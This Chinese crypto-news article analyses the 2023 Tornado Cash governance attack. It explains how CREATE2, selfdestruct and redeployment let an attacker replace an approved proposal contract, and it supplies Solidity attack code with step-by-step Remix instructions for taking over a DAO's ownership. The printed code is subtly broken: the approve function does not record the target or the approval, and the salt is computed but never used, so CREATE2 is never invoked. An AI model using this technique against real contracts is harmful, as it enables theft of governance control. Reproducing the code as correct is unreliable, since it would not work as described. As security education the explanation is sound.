解析Tornado治理攻击:如何同一个地址上部署不同的合约

金色财经 閱讀 53081 2023-6-3 09:31
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大概两周前(5 月 20 日),知名混币协议 Tornado Cash 遭受到治理攻击,黑客获取到了Tornado Cash的治理合约的控制权(Owner)。

攻击过程是这样的:攻击者先提交了一个“看起来正常”的提案, 待提案通过之后, 销毁了提案要执行的合约地址, 并在该地址上重新创建了一个攻击合约。

攻击过程可以查看 SharkTeam 的  Tornado.Cash提案攻击原理分析[1]。

这里攻击的关键是在同一个地址上部署了不同的合约, 这是如何实现的呢?

背景知识

EVM 中有两个操作码用来创建合约:CREATE 与 CREATE2 。

CREATE 操作码

当使用 new Token() 使用的是  CREATE 操作码 , 创建的合约地址计算函数为:

address tokenAddr = bytes20(keccak256(senderAddress, nonce))

创建的合约地址是通过创建者地址 + 创建者Nonce(创建合约的数量)来确定的, 由于 Nonce 总是逐步递增的, 当 Nonce 增加时,创建的合约地址总是是不同的。

CREATE2 操作码

当添加一个salt时 new Token() ,则使用的是  CREATE2 操作码 , 创建的合约地址计算函数为:

 address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))

创建的合约地址是 创建者地址 + 自定义的盐 + 要部署的智能合约的字节码, 因此 只有相同字节码 和 使用相同的盐值,才可以部署到同一个合约地址上。

那么如何才能在同一地址如何部署不用的合约?

攻击手段

攻击者结合使用 Create2 和 Create 来创建合约, 如图:

解析Tornado治理攻击:如何同一个地址上部署不同的合约

代码参考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

先用 Create2 部署一个合约 Deployer , 在 Deployer 使用 Create 创建目标合约 Proposal(用于提案使用)。 Deployer 和  Proposal 合约中均有自毁实现(selfdestruct)。

在提案通过后,攻击者把  Deployer 和  Proposal 合约销毁,然后重新用相同的slat创建 Deployer  ,  Deployer 字节码不变,slat 也相同,因此会得到一个和之前相同的   Deployer  合约地址, 但此时   Deployer  合约的状态被清空了, nonce 从 0 开始,因此可以使用该 nonce 创建另一个合约Attack

攻击代码示例

此代码来自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

contract DAO {

   struct Proposal {

       address target;

       bool approved;

       bool executed;

   }

   address public owner = msg.sender;

   Proposal[] public proposals;

   function approve(address target) external {

       require(msg.sender == owner, "not authorized");

       proposals.push(Proposal());

   }

   function execute(uint256 proposalId) external payable {

       Proposal storage proposal = proposals[proposalId];

       require(proposal.approved, "not approved");

       require(!proposal.executed, "executed");

       proposal.executed = true;

       (bool ok, ) = proposal.target.delegatecall(

           abi.encodeWithSignature("executeProposal()")

       );

       require(ok, "delegatecall failed");

   }

}

contract Proposal {

   event Log(string message);

   function executeProposal() external {

       emit Log("Excuted code approved by DAO");

   }

   function emergencyStop() external {

       selfdestruct(payable(address(0)));

   }

}

contract Attack {

   event Log(string message);

   address public owner;

   function executeProposal() external {

       emit Log("Excuted code not approved by DAO :)");

       // For example - set DAO's owner to attacker

       owner = msg.sender;

   }

}

contract DeployerDeployer {

   event Log(address addr);

   function deploy() external {

       bytes32 salt = keccak256(abi.encode(uint(123)));

       address addr = address(new Deployer());

       emit Log(addr);

   }

}

contract Deployer {

   event Log(address addr);

   function deployProposal() external {

       address addr = address(new Proposal());

       emit Log(addr);

   }

   function deployAttack() external {

       address addr = address(new Attack());

       emit Log(addr);

   }

   function kill() external {

       selfdestruct(payable(address(0)));

   }

}

大家可以使用该代码自己在 Remix 中演练一下。

首先部署 DeployerDeployer , 调用 DeployerDeployer.deploy() 部署 Deployer , 然后调用   Deployer.deployProposal()  部署  Proposal 。

拿到 Proposal 提案合约地址后, 向  DAO 发起提案。

分别调用 Deployer.kill 和  Proposal.emergencyStop 销毁掉 Deployer 和 Proposal

再次调用 DeployerDeployer.deploy() 部署 Deployer , 调用 Deployer.deployAttack() 部署  Attack ,    Attack  将和之前的   Proposal 一致。

执行 DAO.execute 时,攻击完成 获取到了 DAO 的 Owner 权限。

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2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表比特範的觀點或立場
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標籤: 黑客 Tornado
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